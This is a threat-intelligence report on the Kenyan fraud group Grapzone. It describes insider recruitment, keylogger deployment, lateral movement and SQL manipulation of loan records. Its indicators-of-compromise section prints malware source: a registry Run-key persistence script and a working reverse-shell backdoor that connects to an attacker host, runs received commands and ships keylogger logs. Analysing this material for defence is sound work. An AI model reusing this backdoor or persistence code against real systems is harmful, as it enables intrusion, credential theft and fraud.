Loan Wipers – The Grapzone threat group.

Introducing Grapzone

Grapzone was a novice threat group which started around 2013-2014 just like all other threat groups, in a small Estate in Kasarani, Nairobi. This threat group begun with small-time heists, like clearing receipts from a supermarket, e.g they would penetrate the Supermarket billing system and produce a receipt of payment for a TV and then an insider would get that receipt printed for them. The ground teams working with GrapZone hackers would go pick the TV or any other expensive merchandise that was fraudulently purchased, which even included cookers and beds. During these attacks, they used an opensource RAT known as QuasarRAT written in C#.

Server connection settings used to set up QuasarRat through a zuku router tracked to Kasarani Estate.

Their initial keylogger, which had several similarities with HailMary logger, was used to target the Supermarket managerial offices, at the suburbs of Nairobi with keylogger data uploading into an account at drivehq.com cloud storage services. Apart from merchandise operations, their operators also crossed over into Air Tickets and Money Gram heists.

At the end of 2016, their main coders met the Forkbombo leader when it still was a group for tool exchange and joint operations as it evolved into a Cyber Cartel.

This is equally the time Fsociety keylogger, lately known by the Cyber Security Community as Hailmary keylogger was born.

As Grapzone joint operations went on, with the Larger crew, new tactics and techniques were also developed and they learnt that clearing loans from small financial institutions stealthily, in small chunks logged on directly to the DB might not be noticed. Furthermore, Cyber security back then was an after-thought.

During these stealthier operations, the AFTs deployed new tactics, developed new tools and learnt how to recruit insiders for prodigious, improved heists.

The first objective was to get an insider to provide an overview of the organizations’ infrastructure and send over WAN Topology to the attackers’ gmail account.

Topology is sent to the hackers, captured by OnNet CNO team.

With the insider in place, usually an ICT staff member, the adversaries study the materials, understand the environment and request the insider to assist with the installation of RUT backdoor.

With the Backdoor installed, the insider was given three files, one being the main Keylogger PE i.e HP.exe, the deployer which is clickme.bat and tutorial file, README.txt and briefed on who and which floor to target during the institution’s after hours. The files are shown as below respectively.

$ file HP.exe	
HP.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$ strings HP.exe
!This program cannot be run in DOS mode.
.text
P`.data
.rdata
p@.bss
.idata
.CRT
.tls
.rsrc
[^_]
UWVS
[^_]
UWVS
[^_]
T$ ;B
UWVS
[^_]
[^_]
UWVSP
[^_]
[^_]
T$8u'
<xt&<dt=
........................................
..........................................
%s returned %d
pyi-windows-manifest-filename
Cannot allocate memory for ARCHIVE_STATUS
_MEIPASS2
Cannot open self %s or archive %s
PATH
Failed to get executable path. 
GetModuleFileNameW: %s
Failed to convert executable path to UTF-8.
Py_DontWriteBytecodeFlag
Cannot GetProcAddress for Py_DontWriteBytecodeFlag
Py_FileSystemDefaultEncoding
Cannot GetProcAddress for Py_FileSystemDefaultEncoding
Py_FrozenFlag
Cannot GetProcAddress for Py_FrozenFlag
Py_IgnoreEnvironmentFlag
Cannot GetProcAddress for Py_IgnoreEnvironmentFlag
Py_NoSiteFlag
Cannot GetProcAddress for Py_NoSiteFlag
Py_NoUserSiteDirectory
Cannot GetProcAddress for Py_NoUserSiteDirectory
Py_OptimizeFlag
Cannot GetProcAddress for Py_OptimizeFlag
Py_VerboseFlag
Cannot GetProcAddress for Py_VerboseFlag
Py_BuildValue
Cannot GetProcAddress for Py_BuildValue
Py_DecRef
Cannot GetProcAddress for Py_DecRef
Py_EndInterpreter
Cannot GetProcAddress for Py_EndInterpreter
Py_Finalize
Cannot GetProcAddress for Py_Finalize
Py_IncRef
Cannot GetProcAddress for Py_IncRef
Py_Initialize
Cannot GetProcAddress for Py_Initialize
Py_NewInterpreter
.....................................
............................................
...........................
zout00-PYZ.pyz
mstruct
mpyimod01_os_path
mpyimod02_archive
mpyimod03_importers
spyiboot01_bootstrap
bmicrosoft.vc90.crt.manifest
bmsvcr90.dll
bmsvcp90.dll
bmsvcm90.dll
bpython27.dll
bpythoncom27.dll
bpywintypes27.dll
bunicodedata.pyd
bbz2.pyd
b_ssl.pyd
b_hashlib.pyd
bwin32gui.pyd
bselect.pyd
b_socket.pyd
bpyHook._cpyHook.pyd
b_win32sysloader.pyd
bhp.exe.manifest
opyi-windows-manifest-filename HP.exe.manifest
python27.dll
$ file clickMe.bat 
clickMe.bat: DOS batch file, ASCII text, with CRLF line terminators
Deployer batch file
$ cat README.txt 
HP.exe is the keylogger without ftp, saves in programdata.

INSTRUCTIONS
------------
1) Copy the file HP.exe in C:\programdata
2) Right click on the file clickme then 
   from the drop down menu click run as Administrator

From the backdoored server, RUT command shell is executed and the hackers using psexec.exe with the new credentials caught from the domain administrators, the intruders commence to laterally move from one workstation to another deploying keyloggers. During these days mimikatz was not popular in Kenyan AFT scenes, but OnNet Threat Intelligence team caught several other threat actors utilizing it in the wild as from early 2017.

In some machines, that the AFTs experienced anti keylogger systems, they quickly deployed ways to bypass the defense as below:

(0, 'AntiLogger', u'"C:\\Program Files (x86)\\AntiLogger\\AntiLogger.exe" /minimized', 1)

(1, 'IBM websphere', u'C:\\ProgramData\\oneNote.exe', 1)

As the adversaries continued to gather more Administration credentials collected by the keyloggers, scanning to find more systems in the data-center commenced on 10.0.1.0/24 subnet. The scanner used at the time was Bopup Scanner which OnNet observed as very noisy during operations thus, it should have set off all the bells.

These scans targeted port 445, a protocol used for SMB and SAMBA services in the environment. The SMB – a Server Message Block, for sharing files, printers, serial ports and other network resources. Grapzone used psexec.exe to laterally control machines remotely and pivoted from one to another installing loggers and collecting keylogger data from sensitive systems in the targeted environment.

On gaining access to systems they needed, the AFTs would test the credentials and understand Database Processes for each system penetrated.

Testing credentials and the SQL statements

For the AFTs, this included understanding swift and other fintech systems.

And also understanding the commands to change accounts once privileged access to SQL is attained, which was a vital objective.

Account changes and manipulation.

The AFTs also managed to target small loan applications inside the institution and used SQL commands as below to modify data, especially from mid-2015.

INSERT INTO [t_productpackage] ([PackageID],[Description],[RepaymentProductID],[LoanProductID],[PackageClassID],[CurrencyID],[CreatedBy],[CreatedOn],[ModifiedBy],[ModifiedOn],[SupervisedBy],[SupervisedOn],[UpdateCount],[SavingProductID],[LoanProductID2],[BaseID])VALUES('HEMA','Loan On Phone(Hema Group)','CA01','JLN30','PACK01','KES','DTS','Mar 30 2015  4:36:00:000PM',NULL,NULL,NULL,NULL,1,'CA01','JLN30','03')
--Delete t_PackageRule  where RuleID ='PR0019'
INSERT INTO [t_ProductPackageRule] ([PackageID],[ActionID],[RuleID],[CreatedBy],[CreatedOn],[ModifiedBy],[ModifiedOn],[SupervisedBy],[SupervisedOn],[UpdateCount])VALUES('HEMA','LN_AUTO','PR019','SYS',getdate(),NULL,NULL,NULL,NULL,1)

Eventually the institution lost a huge amount of funds.

Indicators of Compromise

a) Writereg.exe

854af931642277b67ced45ba00a92803 write_reg.exe

from _winreg import *
import sys

reg_value = ""
i=0
reg_value = ''
for eachArg in sys.argv:
    print eachArg
    i += 1
    if (i == 2):
        reg_value = eachArg
        break
print 'Registry Key:' + reg_value

aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE) #Connect to registry                                                  
print r"*** Writing to SOFTWARE\Microsoft\Windows\CurrentVersion\Run ***"
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
try:   
   SetValueEx(aKey,"HP DeskJet_",0, REG_SZ, reg_value) 
except EnvironmentError:                                          
    print "Encountered problems writing into the Registry..."
CloseKey(aKey)
CloseKey(aReg)  #Close registry

b) AMD_intel.exe

backdoor that called Command and Control https://cardmanagement4.000webhostapp.com

55d50e7df1a96791ad9f35b10924354e AMD_intel.exe

c) kernelpatch.exe

Backdoor, collector of keylogger data to drivehq ftp service.

c5ea2ad669a58b9ba2e0795bf1117fbb kernelpatch.exe

Sample part of the code

     
print "Starting ...."
isNotConnected = True
while isNotConnected:
    try:
        print "Connecting to Server . ..."
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # connect to attacker machine
        s.connect((HOST, PORT))
        isNotConnected = False
        print "Connected to Server: " + HOST + "at port: " + PORT
    except Exception, m33:
        print m33
        isNotConnected = True
        time.sleep(15)
# start loop
while 1:
    try:
         # Current Working Directory
         cwd = os.getcwd()
         print cwd + "#>"
         s.send(cwd)
         # recieve shell command
         #command = s.recv(1024)
         command = s.recv(PORT)
         print "Recved data: " + command
         # if its quit, then break out and close socket
         if command == "quit": break
             # if no data do nothing
         elif command == "":
             # Do nothing useful if there is no data stream
             m = 1 + 1
             #break
         elif command == "get_logs":
              send_logs()
              s.send("Logs collection success, M3. R0dn3t!!")
         elif command == "deploy_logger":
              download_keylogger()
              s.send("K3yl0883r upl04d3d succ3ssfully, M3. R0dn3t!!")
         else :
             # Send current working directory path to listener
             # s.send(cwd)
             # do shell command
             proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
             # read output
             stdout_value = proc.stdout.read() + proc.stderr.read()
             # send output to attacker
             if stdout_value == "":
                  cwd = os.getcwd()
                  s.send(cwd)
             else:
                  s.send(stdout_value)
                   #s.send(stdout_value)
                   #print "Transmitted: " + stdout_value
    except Exception, e:
        print e
        time.sleep(60)
s.close()

d) gestartup_apps.exe

b434bea29903bdccb77c0d0a1dc3684f gestartup_apps.exe

import os
from _winreg import *
LOGGED_IN=os.getenv('USERNAME')
FILE_NAME=os.getenv('programdata')+"\\" +LOGGED_IN+".xls"
f = open(FILE_NAME, 'a')
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE) #Connect to registry
print r"*** Reading from SOFTWARE\Microsoft\Windows\CurrentVersion\Run ***"
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run") 
for i in range(1024):                                           
    try:
        n,v,t = EnumValue(aKey,i)
        print i, n, v, t
        verbose = i, n, v, t
        print verbose
        f.write(str(verbose) + '\n')
    except EnvironmentError:                                               
        print "You have",i," tasks starting at logon..."
        break
f.close()
CloseKey(aKey)

e) HP.exe (keylogger)

a2dee5b98c9eedb6ee0fdf579f1319e0 HP.exe

f) pscan24.exe (scanner)

45d89c015fb0f3b1672540ed281d5dbe pscan24.exe

g) PSAttack.exe

a7ed154c98662b044cbaaf9dc9fb3a4d PSAttack.exe